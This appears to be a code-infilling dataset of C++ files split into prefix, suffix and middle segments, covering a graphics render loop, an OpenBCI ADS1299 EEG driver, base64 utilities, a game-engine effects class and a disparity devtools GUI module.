img_acq_sem.get(); asset::E_PIPELINE_STAGE_FLAGS dstWait = asset::EPSF_COLOR_ATTACHMENT_OUTPUT_BIT; submit.waitSemaphoreCount = 1u; submit.pWaitSemaphores = &waitsem; submit.pWaitDstStageMask = &dstWait; queue->submit(1u, &submit, nullptr); } video::IGPUQueue::SPresentInfo present; { present.swapchainCount = 1u; present.imgIndices = &imgnum; video::ISwapchain* swapchain = sc.get(); present.swapchains = &swapchain; video::IGPUSemaphore* waitsem = render_finished_sem.get(); present.waitSemaphoreCount = 1u; present.waitSemaphores = &waitsem; queue->present(present); } } device->waitIdle(); return 0; }
static void debugCallback(video::E_DEBUG_MESSAGE_SEVERITY severity, video::E_DEBUG_MESSAGE_TYPE type, const char* msg, void* userData) { const char* sev = nullptr; switch (severity) { case video::EDMS_VERBOSE: sev = "verbose"; break; case video::EDMS_INFO: sev = "info"; break; case video::EDMS_WARNING: sev = "warning"; break; case video::EDMS_ERROR: sev = "error"; break; } std::cout << "OpenGL " << sev << ": " << msg << std::endl; }
function_block-full_function
[ { "content": "namespace nbl\n\n{\n\nnamespace builtin\n\n{\n\n\n\n// if you attempt to use this without `NBL_EMBED_BUILTIN_RESOURCES_` CMake option, you will get loads of undefined references\n\ntemplate<typename StringUniqueLiteralType>\n\nconst std::pair<const uint8_t*, size_t> get_resource();\n\n\n\n// if yo...
C++
Arduino Code/Libraries/ADS1299/ADS1299Manager.cpp
alexsigaras/openbci
031a39c4c52399b726d6b6abab69df7b8a60a0a8
#include <ADS1299Manager.h> typedef long int32; void ADS1299Manager::initialize(void) { initialize(OPENBCI_V2); } void ADS1299Manager::initialize(const int version) { setVersionOpenBCI(version); ADS1299::initialize(PIN_DRDY,PIN_RST,PIN_CS,SCK_MHZ); delay(100); verbose = false; reset(); configureInternalTestSignal(ADSTESTSIG_AMP_1X,ADSTESTSIG_PULSE_FAST); }; void ADS1299Manager::setVersionOpenBCI(const int version) { if (version == OPENBCI_V1) { use_neg_inputs = false; for (int i=0; i < OPENBCI_NCHAN; i++) { use_SRB2[i] = false; } } else { use_neg_inputs = true; for (int i=0; i < OPENBCI_NCHAN; i++) { use_SRB2[i] = true; } } } void ADS1299Manager::reset(void) { ADS1299::RESET(); ADS1299::SDATAC(); delay(100); for (int chan=1; chan <= 8; chan++) { deactivateChannel(chan); } setSRB1(use_SRB1()); }; void ADS1299Manager::deactivateChannel(int N) { byte reg, config; if ((N < 1) || (N > 8)) return; ADS1299::SDATAC(); delay(1); N = constrain(N-1,0,7); reg = CH1SET+(byte)N; config = ADS1299::RREG(reg); delay(1); bitSet(config,7); if (use_neg_inputs) bitClear(config,3); ADS1299::WREG(reg,config); delay(1); reg = BIAS_SENSP; if (use_neg_inputs) reg = BIAS_SENSN; config = ADS1299::RREG(reg); delay(1); bitClear(config,N); ADS1299::WREG(reg,config); delay(1); }; void ADS1299Manager::activateChannel(int N,byte gainCode,byte inputCode) { if ((N < 1) || (N > 8)) return; ADS1299::SDATAC(); delay(1); N = constrain(N-1,0,7); byte configByte = 0b00000000; gainCode = gainCode & 0b01110000; configByte = configByte | gainCode; inputCode = inputCode & 0b00000111; configByte = configByte | inputCode; if (use_SRB2[N]) configByte |= 0b00001000; ADS1299::WREG(CH1SET+(byte)N,configByte); delay(1); byte reg = BIAS_SENSP; if (use_neg_inputs) reg = BIAS_SENSN; byte biasSettings = ADS1299::RREG(reg); bitSet(biasSettings,N); ADS1299::WREG(reg,biasSettings); delay(1); setSRB1(use_SRB1()); ADS1299::WREG(CONFIG3,0b11101100); delay(1); }; void ADS1299Manager::setSRB1(boolean desired_state) { if (desired_state) { ADS1299::WREG(MISC1,0b00100000); delay(1); } else { ADS1299::WREG(MISC1,0b00000000); delay(1); } } void ADS1299Manager::configureInternalTestSignal(byte amplitudeCode, byte freqCode) { if (amplitudeCode == ADSTESTSIG_NOCHANGE) amplitudeCode = (ADS1299::RREG(CONFIG2) & (0b00000100)); if (freqCode == ADSTESTSIG_NOCHANGE) freqCode = (ADS1299::RREG(CONFIG2) & (0b00000011)); freqCode &= 0b00000011; amplitudeCode &= 0b00000100; byte message = 0b11010000 | freqCode | amplitudeCode; ADS1299::WREG(CONFIG2,message); delay(1); } void ADS1299Manager::start(void) { ADS1299::RDATAC(); delay(1); ADS1299::START(); } int ADS1299Manager::isDataAvailable(void) { return (!(digitalRead(PIN_DRDY))); } void ADS1299Manager::stop(void) { ADS1299::STOP(); delay(1); ADS1299::SDATAC(); delay(1); } void ADS1299Manager::printChannelDataAsText(int N, long int sampleNumber) { if ((N < 1) || (N > 8)) return; if (sampleNumber > 0) { Serial.print(sampleNumber); Serial.print(", "); } for (int chan = 0; chan < N; chan++ ) { Serial.print(channelData[chan]); Serial.print(", "); } Serial.println(); }; int32 val; byte *val_ptr = (byte *)(&val); void ADS1299Manager::writeChannelDataAsBinary(int N, long sampleNumber) { if ((N < 1) || (N > 8)) return; Serial.write( (byte) PCKT_START); Serial.write((1+N)*4); val = 1L; Serial.write(val_ptr,4); for (int chan = 0; chan < N; chan++ ) { val = (long)(channelData[chan]); Serial.write(val_ptr,4); } Serial.write((byte)PCKT_END); }; #define max_int16 (32767) #define min_int16 (-32767) void ADS1299Manager::writeChannelDataAsOpenEEG_P2(long sampleNumber) { ADS1299Manager::writeChannelDataAsOpenEEG_P2(sampleNumber,false); } #define synthetic_amplitude_counts (8950) //counts peak-to-peak...should be 100 uV pk-pk (100e-6 / (4.5 / 24 / 2^24)) void ADS1299Manager::writeChannelDataAsOpenEEG_P2(long sampleNumber,boolean useSyntheticData) { byte sync0 = 0xA5; byte sync1 = 0x5A; byte version = 2; Serial.write(sync0); Serial.write(sync1); Serial.write(version); Serial.write((byte) sampleNumber); long val32; int val_i16; unsigned int val_u16; byte *val16_ptr = (byte *)(&val_u16); for (int chan = 0; chan < 6; chan++ ) { if (useSyntheticData) { long time_samp_255 = (long)((sampleNumber) & (0x000000FF)); time_samp_255 = (long)((time_samp_255*(long)(chan+1)) & (0x000000FF)); time_samp_255 += 256L*2L; val32 = (synthetic_amplitude_counts * time_samp_255) / 255L; } else { val32 = channelData[chan]; } val32 = val32 / (32); val32 = constrain(val32,min_int16,max_int16); val_u16 = (unsigned int) (val32 & (0x0000FFFF)); Serial.write((byte)((val_u16 >> 8) & 0x00FF)); Serial.write((byte)(val_u16 & 0x00FF)); } byte switches = 0b00000000; Serial.write(switches); } void ADS1299Manager::printAllRegisters(void) { boolean prevVerboseState = verbose; verbose = true; ADS1299::RREGS(0x00,0x10); delay(100); ADS1299::RREGS(0x11,0x17-0x11); verbose = prevVerboseState; } boolean ADS1299Manager::use_SRB1(void) { for (int Ichan=0; Ichan < OPENBCI_NCHAN; Ichan++) { if (use_SRB2[Ichan]) { return false; } } return true; }
#include <ADS1299Manager.h> typedef long int32; void ADS1299Manager::initialize(void) { initialize(OPENBCI_V2); } void ADS1299Manager::initialize(const int version) { setVersionOpenBCI(version); ADS1299::initialize(PIN_DRDY,PIN_RST,PIN_CS,SCK_MHZ); delay(100); verbose = false; reset(); configureInternalTestSignal(ADSTESTSIG_AMP_1X,ADSTESTSIG_PULSE_FAST); }; void ADS1299Manager::setVersionOpenBCI(const int version) { if (version == OPENBCI_V1) { use_neg_inputs = false; for (int i=0; i < OPENBCI_NCHAN; i++) { use_SRB2[i] = false; } } else { use_neg_inputs = true; for (int i=0; i < OPENBCI_NCHAN; i++) { use_SRB2[i] = true; } } } void ADS1299Manager::reset(void) { ADS1299::RESET(); ADS1299::SDATAC(); delay(100); for (int chan=1; chan <= 8; chan++) { deactivateChannel(chan); } setSRB1(use_SRB1()); }; void ADS1299Manager::deactivateChannel(int N) { byte reg, config; if ((N < 1) || (N > 8)) return; ADS1299::SDATAC(); delay(1); N = constrain(N-1,0,7); reg = CH1SET+(byte)N; config = ADS1299::RREG(reg); delay(1); bitSet(config,7); if (use_neg_inputs) bitClear(config,3); ADS1299::WREG(reg,config); delay(1); reg = BIAS_SENSP; if (use_neg_inputs) reg = BIAS_SENSN; config = ADS1299::RREG(reg); delay(1); bitClear(config,N); ADS1299::WREG(reg,config); delay(1); }; void ADS1299Manager::activateChannel(int N,byte gainCode,byte inputCode) { if ((N < 1) || (N > 8)) return; ADS1299::SDATAC(); delay(1); N = constrain(N-1,0,7); byte configByte = 0b00000000; gainCode = gainCode & 0b01110000; configByte = configByte | gainCode; inputCode = inputCode & 0b00000111; configByte = configByte | inputCode; if (use_SRB2[N]) configByte |= 0b00001000; ADS1299::WREG(CH1SET+(byte)N,configByte); delay(1); byte reg = BIAS_SENSP; if (use_neg_inputs) reg = BIAS_SENSN; byte biasSettings = ADS1299::RREG(reg); bitSet(biasSettings,N); ADS1299::WREG(reg,biasSettings); delay(1); setSRB1(use_SRB1()); ADS1299::WREG(CONFIG3,0b11101100); delay(1); }; void ADS1299Manager::setSRB1(boolean desired_state) { if (desired_state) { ADS1299::WREG(MISC1,0b00100000); delay(1); } else { ADS1299::WREG(MISC1,0b00000000); delay(1); } } void ADS1299Manager::configureInternalTestSignal(byte amplitudeCode, byte freqCode) { if (amplitudeCode == ADSTESTSIG_NOCHANGE) amplitudeCode = (ADS1299::RREG(CONFIG2) & (0b00000100)); if (freqCode == ADSTESTSIG_NOCHANGE) freqCode = (ADS1299::RREG(CONFIG2) & (0b00000011)); freqCode &= 0b00000011; amplitudeCode &= 0b00000100; byte message = 0b11010000 | freqCode | amplitudeCode; ADS1299::WREG(CONFIG2,message); delay(1); } void ADS1299Manager::start(void) { ADS1299::RDATAC(); delay(1); ADS1299::START(); } int ADS1299Manager::isDataAvailable(void) { return (!(digitalRead(PIN_DRDY))); } void ADS1299Manager::stop(void) { ADS1299::STOP(); delay(1); ADS1299::SDATAC(); delay(1); } void ADS1299Manager::printChannelDataAsText(int N, long int sampleNumber) { if ((N < 1) || (N > 8)) return; if (sampleNumber > 0) { Serial.print(sampleNumber); Serial.print(", "); } for (int chan = 0; chan < N; chan++ ) { Serial.print(channelData[chan]); Serial.print(", "); } Serial.println(); }; int32 val; byte *val_ptr = (byte *)(&val); void ADS1
:printAllRegisters(void) { boolean prevVerboseState = verbose; verbose = true; ADS1299::RREGS(0x00,0x10); delay(100); ADS1299::RREGS(0x11,0x17-0x11); verbose = prevVerboseState; } boolean ADS1299Manager::use_SRB1(void) { for (int Ichan=0; Ichan < OPENBCI_NCHAN; Ichan++) { if (use_SRB2[Ichan]) { return false; } } return true; }
299Manager::writeChannelDataAsBinary(int N, long sampleNumber) { if ((N < 1) || (N > 8)) return; Serial.write( (byte) PCKT_START); Serial.write((1+N)*4); val = 1L; Serial.write(val_ptr,4); for (int chan = 0; chan < N; chan++ ) { val = (long)(channelData[chan]); Serial.write(val_ptr,4); } Serial.write((byte)PCKT_END); }; #define max_int16 (32767) #define min_int16 (-32767) void ADS1299Manager::writeChannelDataAsOpenEEG_P2(long sampleNumber) { ADS1299Manager::writeChannelDataAsOpenEEG_P2(sampleNumber,false); } #define synthetic_amplitude_counts (8950) //counts peak-to-peak...should be 100 uV pk-pk (100e-6 / (4.5 / 24 / 2^24)) void ADS1299Manager::writeChannelDataAsOpenEEG_P2(long sampleNumber,boolean useSyntheticData) { byte sync0 = 0xA5; byte sync1 = 0x5A; byte version = 2; Serial.write(sync0); Serial.write(sync1); Serial.write(version); Serial.write((byte) sampleNumber); long val32; int val_i16; unsigned int val_u16; byte *val16_ptr = (byte *)(&val_u16); for (int chan = 0; chan < 6; chan++ ) { if (useSyntheticData) { long time_samp_255 = (long)((sampleNumber) & (0x000000FF)); time_samp_255 = (long)((time_samp_255*(long)(chan+1)) & (0x000000FF)); time_samp_255 += 256L*2L; val32 = (synthetic_amplitude_counts * time_samp_255) / 255L; } else { val32 = channelData[chan]; } val32 = val32 / (32); val32 = constrain(val32,min_int16,max_int16); val_u16 = (unsigned int) (val32 & (0x0000FFFF)); Serial.write((byte)((val_u16 >> 8) & 0x00FF)); Serial.write((byte)(val_u16 & 0x00FF)); } byte switches = 0b00000000; Serial.write(switches); } void ADS1299Manager:
random
[ { "content": " byte RREG(byte _address);\n\n void RREGS(byte _address, byte _numRegistersMinusOne); \n\n void printRegisterName(byte _address);\n\n void WREG(byte _address, byte _value); \n\n void WREGS(byte _address, byte _numRegistersMinusOne); \n\n void printHex(byte _data);\n\n void...
C++
src/utils.cpp
bastig2001/grman_project_2
ffd5e701b3524e6b41f1cc59a55a2fb3ed6880cc
#include "utils.h" #include <iterator> #include <sstream> #include <unordered_map> using namespace std; const char base64_chars[]{"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"}; const char pad_char{'='}; const unordered_map<char, unsigned short> base64_vals{ {'A', 0}, {'B', 1}, {'C', 2}, {'D', 3}, {'E', 4}, {'F', 5}, {'G', 6}, {'H', 7}, {'I', 8}, {'J', 9}, {'K', 10}, {'L', 11}, {'M', 12}, {'N', 13}, {'O', 14}, {'P', 15}, {'Q', 16}, {'R', 17}, {'S', 18}, {'T', 19}, {'U', 20}, {'V', 21}, {'W', 22}, {'X', 23}, {'Y', 24}, {'Z', 25}, {'a', 26}, {'b', 27}, {'c', 28}, {'d', 29}, {'e', 30}, {'f', 31}, {'g', 32}, {'h', 33}, {'i', 34}, {'j', 35}, {'k', 36}, {'l', 37}, {'m', 38}, {'n', 39}, {'o', 40}, {'p', 41}, {'q', 42}, {'r', 43}, {'s', 44}, {'t', 45}, {'u', 46}, {'v', 47}, {'w', 48}, {'x', 49}, {'y', 50}, {'z', 51}, {'0', 52}, {'1', 53}, {'2', 54}, {'3', 55}, {'4', 56}, {'5', 57}, {'6', 58}, {'7', 59}, {'8', 60}, {'9', 61}, {'+', 62}, {'/', 63}, {pad_char, 0} }; std::string msg_to_base64(const Message& msg) { return to_base64(msg.SerializeAsString()); } Message msg_from_base64(std::istream& msg_stream) { string msg_str{}; getline(msg_stream, msg_str); Message msg{}; msg.ParseFromString(from_base64(msg_str)); return msg; } string to_base64(const string& to_encode) { string encoded{""}; unsigned int cumulated{0}; unsigned short bits_in_cumulated{0}; for (unsigned char c : to_encode) { cumulated <<= 8; cumulated += int(c); bits_in_cumulated += 8; while (bits_in_cumulated >= 6) { unsigned short shift(bits_in_cumulated - 6); unsigned int base64_val{cumulated >> shift}; cumulated -= (base64_val << shift); bits_in_cumulated -= 6; encoded += base64_chars[base64_val]; } } if (bits_in_cumulated > 0) { encoded += base64_chars[cumulated << (6 - bits_in_cumulated)]; } if (encoded.length() % 4 != 0) { encoded += string(4 - (encoded.length() % 4), pad_char); } return encoded; } string from_base64(const string& to_decode) { string decoded{""}; unsigned int cumulated{0}; unsigned short bits_in_cumulated{0}; for (unsigned char c : to_decode) { cumulated <<= 6; cumulated += base64_vals.at(c); bits_in_cumulated += 6; if (bits_in_cumulated >= 8) { unsigned short shift(bits_in_cumulated - 8); unsigned int char_val{cumulated >> shift}; cumulated -= (char_val << shift); bits_in_cumulated -= 8; decoded += char(char_val); } } if (to_decode[to_decode.length() - 1] == pad_char) { decoded.pop_back(); if (to_decode[to_decode.length() - 2] == pad_char) { decoded.pop_back(); } } return decoded; } string vector_to_string( const vector<filesystem::path>& elements, const string& separator ) { return vector_to_string( vector<string>{elements.begin(), elements.end()}, separator ); } string vector_to_string( const vector<string>& elements, const string& separator ) { ostringstream result{}; if (!elements.empty()) { copy( elements.begin(), elements.end() - 1, ostream_iterator<string>(result, separator.c_str()) ); result << elements.back(); } return result.str(); }
#include "utils.h" #include <iterator> #include <sstream> #include <unordered_map> using namespace std; const char base64_chars[]{"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"}; const char pad_char{'='}; const unordered_map<char, unsigned short> base64_vals{ {'A', 0}, {'B', 1}, {'C', 2}, {'D', 3}, {'E', 4}, {'F', 5}, {'G', 6}, {'H', 7}, {'I', 8}, {'J', 9}, {'K', 10}, {'L', 11}, {'M', 12}, {'N', 13}, {'O', 14}, {'P', 15}, {'Q', 16}, {'R', 17}, {'S', 18}, {'T', 19}, {'U', 20}, {'V', 21}, {'W', 22}, {'X', 23}, {'Y', 24}, {'Z', 25}, {'a', 26}, {'b', 27}, {'c', 28}, {'d', 29}, {'e', 30}, {'f', 31}, {'g', 32}, {'h', 33}, {'i', 34}, {'j', 35}, {'k', 36}, {'l', 37}, {'m', 38}, {'n', 39}, {'o', 40}, {'p', 41}, {'q', 42}, {'r', 43}, {'s', 44}, {'t', 45}, {'u', 46}, {'v', 47}, {'w', 48}, {'x', 49}, {'y', 50}, {'z', 51}, {'0', 52}, {'1', 53}, {'2', 54}, {'3', 55}, {'4', 56}, {'5', 57}, {'6', 58}, {'7', 59}, {'8', 60}, {'9', 61}, {'+', 62}, {'/', 63}, {pad_char, 0} }; std::string msg_to_base64(const Message& msg) { return to_base64(msg.SerializeAsString()); } Message msg_from_base64(std::istream& msg_stream) { string msg_str{}; getline(msg_stream, msg_str); Message msg{}; msg.ParseFromString(from_base64(msg_str)); return msg; } string to_base64(const string& to_encode) { string encoded{""}; unsigned int cumulated{0}; unsigned short bits_in_cumulated{0}; for (unsigned char c : to_encode) { cumulated <<= 8; cumulated += int(c); bits_in_cumulated += 8; while (bits_in_cumulated >= 6) { unsigned short shift(bits_in_cumulated - 6); unsigned int base64_val{cumulated >> shift}; cumulated -= (base64_val << shift); bits_in_cumulated -= 6; encoded += base64_chars[base64_val]; } } if (bits_in_cumulated > 0) { encoded += base64_chars[cumulated << (6 - bits_in_cumulated)]; } if (encoded.length() % 4 != 0) { encoded += string(4 - (encoded.length() % 4), pad_char); } return encoded; } string from_base64(const string& to_decode) { string decoded{""}; unsigned int cumulated{0}; unsigned short bits_in_cumulated{0}; for (unsigned char c : to_decode) { cumulated <<= 6; cumulated += base64_vals.at(c); bits_in_cumulated += 6; if (bits_in_cumulated >= 8) { unsigned short shift(bits_in_cumulated - 8); unsigned int char_val{cumulated >> shift}; cumulated -= (char_val << shift); bits_in_cumulated -= 8; decoded += char(char_val); } }
return decoded; } string vector_to_string( const vector<filesystem::path>& elements, const string& separator ) { return vector_to_string( vector<string>{elements.begin(), elements.end()}, separator ); } string vector_to_string( const vector<string>& elements, const string& separator ) { ostringstream result{}; if (!elements.empty()) { copy( elements.begin(), elements.end() - 1, ostream_iterator<string>(result, separator.c_str()) ); result << elements.back(); } return result.str(); }
if (to_decode[to_decode.length() - 1] == pad_char) { decoded.pop_back(); if (to_decode[to_decode.length() - 2] == pad_char) { decoded.pop_back(); } }
if_condition
[ { "content": "namespace msg {\n\n struct File {\n\n FileName name;\n\n Timestamp timestamp;\n\n size_t size;\n\n StrongSign signature;\n\n\n\n static File from_proto(const ::File& file) {\n\n return File {\n\n file.name(),\n\n file.t...
C++
Jx3Full/Source/Source/KG3DEngine/KG3DEngine/KG3DSfxExp.cpp
RivenZoo/FullSource
cfd7fd7ad422fd2dae5d657a18839c91ff9521fd
#include "StdAfx.h" #include "KG3DSfxExp.h" #include "KG3DGraphicsTool.h" #include "KG3DScene.h" #include "KG3DEngineManager.h" namespace { inline float GetRandom(float fMin, float fMax) { float fRandNum = (float)rand() / RAND_MAX; return (fMin + (fMax - fMin) * fRandNum); } inline D3DXVECTOR3 operator* (const D3DXVECTOR3& v1, const D3DXVECTOR3& v2) { return D3DXVECTOR3(v1.x * v2.x, v1.y * v2.y, v1.z * v2.z); } } KG3DSfxExp::KG3DSfxExp() : m_fPassTime(0.f), m_pBindModel(NULL) { m_tlTimeScal.InsertKeyFrame(0, 1.f); m_tlCameraSwing.InsertKeyFrame(0, D3DXVECTOR3(0.f, 0.f, 0.f)); m_tlCameraFrequency.InsertKeyFrame(0, D3DXVECTOR3(1.f, 1.f, 1.f)); m_tlModelScanl.InsertKeyFrame(0, D3DXVECTOR3(1.f, 1.f, 1.f)); } KG3DSfxExp::~KG3DSfxExp() { if (m_pBindModel) m_pBindModel->SetScaling(&m_vScanlSave); KG3DCamera* pCamera = g_cGraphicsTool.GetPrimaryScenePrimaryCamera(); if (!pCamera) pCamera = g_cGraphicsTool.GetCamera(); if (pCamera) pCamera->SetSwingOffset(D3DXVECTOR3(0.f, 0.f, 0.f)); } BOOL KG3DSfxExp::IsValid() { if (m_tlTimeScal.size() > 1 || m_tlCameraSwing.size() > 1 || m_tlCameraFrequency.size() > 1 || m_tlModelScanl.size() > 1) return TRUE; D3DXVECTOR3 vData; float fData; m_tlTimeScal.GetData(&fData, 0); if (fData != 1.f) return TRUE; m_tlCameraSwing.GetData(&vData, 0); if (vData != D3DXVECTOR3(0.f, 0.f, 0.f)) return TRUE; m_tlCameraFrequency.GetData(&vData, 0); if (vData != D3DXVECTOR3(1.f, 1.f, 1.f)) return TRUE; m_tlModelScanl.GetData(&vData, 0); if (vData != D3DXVECTOR3(1.f, 1.f, 1.f)) return TRUE; return FALSE; } BOOL KG3DSfxExp::HaveTimeScaling() { if (m_tlTimeScal.size() > 1) return TRUE; float fData; m_tlTimeScal.GetData(&fData, 0); if (fData != 1.f) return TRUE; return FALSE; } void KG3DSfxExp::OnSfxBind(KG3DModel* pModel) { if (!pModel || m_pBindModel == pModel) return; m_pBindModel = pModel; m_pBindModel->GetScaling(&m_vScanlSave); } void KG3DSfxExp::OnSfxUnbind() { if (m_pBindModel) m_pBindModel->SetScaling(&m_vScanlSave); m_pBindModel = NULL; } HRESULT KG3DSfxExp::FrameMove(float fCurrentFrame) { if (!g_cGraphicsTool.GetCurScene()) return E_FAIL; float fScaling = 1.f; m_tlTimeScal.GetData(&fScaling, fCurrentFrame); g_cEngineManager.GetTimeControl().SetScaling(fScaling); KG3DCamera* pCamera = g_cGraphicsTool.GetPrimaryScenePrimaryCamera(); if (!pCamera) pCamera = g_cGraphicsTool.GetCamera(); m_fPassTime += static_cast<float>(g_cGraphicsTool.GetTinyTimeOriginal()) / 1000.f; if (HaveTimeScaling()) m_fPassTime += static_cast<float>(timeGetTime()) / 1000.f; if (pCamera) { D3DXVECTOR3 vSwing; D3DXVECTOR3 vFrequ; m_tlCameraSwing.GetData(&vSwing, fCurrentFrame); m_tlCameraFrequency.GetData(&vFrequ, fCurrentFrame); vSwing = vSwing * D3DXVECTOR3(sinf(m_fPassTime * vFrequ.x), sinf(m_fPassTime * vFrequ.y), sinf(m_fPassTime * vFrequ.z)); pCamera->SetSwingOffset(vSwing); } D3DXVECTOR3 vScanl; m_tlModelScanl.GetData(&vScanl, fCurrentFrame); if (m_pBindModel && vScanl != D3DXVECTOR3(1.f, 1.f, 1.f)) { vScanl.x = vScanl.x * m_vScanlSave.x; vScanl.y = vScanl.y * m_vScanlSave.y; vScanl.z = vScanl.z * m_vScanlSave.z; m_pBindModel->SetScaling(&vScanl); } return S_OK; }
#include "StdAfx.h" #include "KG3DSfxExp.h" #include "KG3DGraphicsTool.h" #include "KG3DScene.h" #include "KG3DEngineManager.h" namespace { inline float GetRandom(float fMin, float fMax) { float fRandNum = (float)rand() / RAND_MAX; return (fMin + (fMax - fMin) * fRandNum); } inline D3DXVECTOR3 operator* (const D3DXVECTOR3& v1, const D3DXVECTOR3& v2) { return D3DXVECTOR3(v1.x * v2.x, v1.y * v2.y, v1.z * v2.z); } } KG3DSfxExp::KG3DSfxExp() : m_fPassTime(0.f), m_pBindModel(NULL) { m_tlTimeScal.InsertKeyFrame(0, 1.f); m_tlCameraSwing.InsertKeyFrame(0, D3DXVECTOR3(0.f, 0.f, 0.f)); m_tlCameraFrequency.InsertKeyFrame(0, D3DXVECTOR3(1.f, 1.f, 1.f)); m_tlModelScanl.InsertKeyFrame(0, D3DXVECTOR3(1.f, 1.f, 1.f)); } KG3DSfxExp::~KG3DSfxExp() { if (m_pBindModel) m_pBindModel->SetScaling(&m_vScanlSave); KG3DCamera* pCamera = g_cGraphicsTool.GetPrimaryScenePrimaryCamera(); if (!pCamera) pCamera = g_cGraphicsTool.GetCamera(); if (pCamera) pCamera->SetSwingOffset(D3DXVECTOR3(0.f, 0.f, 0.f)); } BOOL KG3DSfxExp::IsValid() { if (m_tlTimeScal.size() > 1 || m_tlCameraSwing.size() > 1 || m_tlCameraFrequency.size() > 1 || m_tlModelScanl.size() > 1) return TRUE; D3DXVECTOR3 vData; float fData; m_tlTimeScal.GetData(&fData, 0); if (fData != 1.f) return TRUE; m_tlCameraSwing.GetData(&vData, 0); if (vData != D3DXVECTOR3(0.f, 0.f, 0.f)) return TRUE; m_tlCameraFrequency.GetData(&vData, 0); if (vData != D3DXVECTOR3(1.f, 1.f, 1.f)) return TRUE; m_tlModelScanl.GetData(&vData, 0); if (vData != D3DXVECTOR3(1.f, 1.f, 1.f)) return TRUE; return FALSE; } BOOL KG3DSfxExp::HaveTimeScaling() { if (m_tlTimeScal.size() > 1) return TRUE; float fData; m_tlTimeScal.GetData(&fData, 0); if (fData != 1.f) return TRUE; return FALSE; } void KG3DSfxExp::OnSfxBind(KG3DModel* pModel) { if (!pModel || m_pBindModel == pModel) return; m_pBindModel = pModel; m_pBindModel->GetScaling(&m_vScanlSave); } void KG3DSfxExp::OnSfxUnbind() { if (m_pBindModel) m_pBindModel->SetScaling(&m_vScanlSave); m_pBindModel = NULL; } HRESULT KG3DSfxExp::FrameMove(float fCurrentFrame) { if (!g_cGraphicsTool.GetCurScene()) return E_FAIL; float fScaling = 1.f; m_tlTimeScal.GetData(&fScaling, fCurrentFrame); g_cEngineManager.GetTimeControl().SetScaling(fScaling); KG3DCamera* pCamera = g_cGraphicsTool.GetPrimaryScenePrimaryCamera(); if (!pCamera) pCamera = g_cGraphicsTool.GetCamera(); m_fPassTime += static_cast<float>(g_cGraphicsTool.GetTinyTimeOriginal()) / 1000.f; if (HaveTimeScaling()) m_fPassTime += static_cast<float>(timeGetTime()) / 1000.f; if (pCamera) { D3DXVECTOR3 vSwing; D3DXVECTOR3 vFrequ; m_tlCameraSwing.GetData(&vSwing, fCurrentFrame); m_tlCameraFrequency.GetData(&vFrequ, fCurrentFrame); vSwing = vSwing * D3DXVECTOR3(sinf(m_fPassTime * vFrequ.x), sinf(m_fPassTime * vFrequ.y), sinf(m_fPassTime * vFreq
u.z)); pCamera->SetSwingOffset(vSwing); } D3DXVECTOR3 vScanl; m_tlModelScanl.GetData(&vScanl, fCurrentFrame); if (m_pBindModel && vScanl != D3DXVECTOR3(1.f, 1.f, 1.f)) { vScanl.x = vScanl.x * m_vScanlSave.x; vScanl.y = vScanl.y * m_vScanlSave.y; vScanl.z = vScanl.z * m_vScanlSave.z; m_pBindModel->SetScaling(&vScanl); } return S_OK; }
function_block-function_prefixed
[]
C++
applications/gui2/src/modules/dev/disparity.cpp
knicos/voltu
70b39da7069f8ffd7e33aeb5bdacc84fe4a78f01
#include "developer.hpp" #include <loguru.hpp> #include "../../views/dev/disparityview.hpp" #include <ftl/codecs/channels.hpp> using ftl::gui2::DisparityDev; using ftl::codecs::Channel; using ftl::rgbd::Capability; void DisparityDev::init() { colouriser_ = std::unique_ptr<ftl::render::Colouriser>( ftl::create<ftl::render::Colouriser>(this, "colouriser")); } void DisparityDev::_updateCapabilities(ftl::data::Frame &frame) { if (frame.has(Channel::Capabilities)) { live_ = false; touch_ = false; movable_ = false; vr_ = false; const auto &cap = frame.get<std::unordered_set<Capability>>(Channel::Capabilities); for (auto c : cap) { switch (c) { case Capability::LIVE : live_ = true; break; case Capability::TOUCH : touch_ = true; break; case Capability::MOVABLE : movable_ = true; break; case Capability::VR : vr_ = true; break; default: break; } } } } void DisparityDev::initiate_(ftl::data::Frame &frame) { if (frame.has(Channel::Capabilities)) { const auto &rgbdf = frame.cast<ftl::rgbd::Frame>(); const auto &cap = rgbdf.capabilities(); for (auto c : cap) { LOG(INFO) << " -- " << ftl::rgbd::capabilityName(c); switch (c) { case Capability::LIVE : live_ = true; break; case Capability::TOUCH : touch_ = true; break; case Capability::MOVABLE : movable_ = true; break; case Capability::VR : vr_ = true; break; default: break; } } if (live_ && cap.count(Capability::VIRTUAL)) { } else { } } else { } has_seen_frame_ = true; view = new ftl::gui2::DisparityView(screen, this); if (frame.has(Channel::MetaData)) { const auto &meta = frame.metadata(); LOG(INFO) << "Camera Frame Meta Data:"; for (auto m : meta) { LOG(INFO) << " -- " << m.first << " = " << m.second; } } if (!view) return; view->onClose([this](){ filter_->remove(); filter_ = nullptr; nframes_ = -1; }); screen->setView(view); view->refresh(); } void DisparityDev::activate(ftl::data::FrameID id) { LOG(INFO) << "DISP DEV ACTIVATE"; frame_idx = id.source(); frame_id_ = id; last_ = glfwGetTime(); nframes_ = 0; has_seen_frame_ = false; live_ = false; touch_ = false; movable_ = false; vr_ = false; filter_ = io->feed()->filter(std::unordered_set<unsigned int>{id.frameset()}, {Channel::Left, Channel::Right}); filter_->on( [this, feed = io->feed(), speaker = io->speaker()](ftl::data::FrameSetPtr fs){ std::atomic_store(&current_fs_, fs); std::atomic_store(&latest_, fs); if (!has_seen_frame_) { has_seen_frame_ = true; } auto &frame = fs->frames[frame_idx]; if (frame.hasMessages()) { const auto &msgs = frame.messages(); UNIQUE_LOCK(mtx_, lk); messages_.insert(msgs.begin(), msgs.end()); } if (frame.changed(Channel::Capabilities)) { _updateCapabilities(frame); } if (!view) return true; screen->redraw(); nframes_++; latency_ += ftl::timer::get_time() - fs->localTimestamp; return true; } ); auto sets = filter_->getLatestFrameSets(); if (sets.size() > 0) { std::atomic_store(&current_fs_, sets.front()); std::atomic_store(&latest_, sets.front()); initiate_(sets.front()->frames[frame_idx]); } else { throw FTL_Error("Cannot activate disparity devtools, no data"); } } DisparityDev::~DisparityDev() { } ftl::cuda::TextureObject<uchar4>& DisparityDev::getFrame() { return getFrame(Channel::Right); } ftl::cuda::TextureObject<uchar4>& DisparityDev::getFrame(ftl::codecs::Channel channel) { if (std::atomic_load(&current_fs_)) { auto& frame = 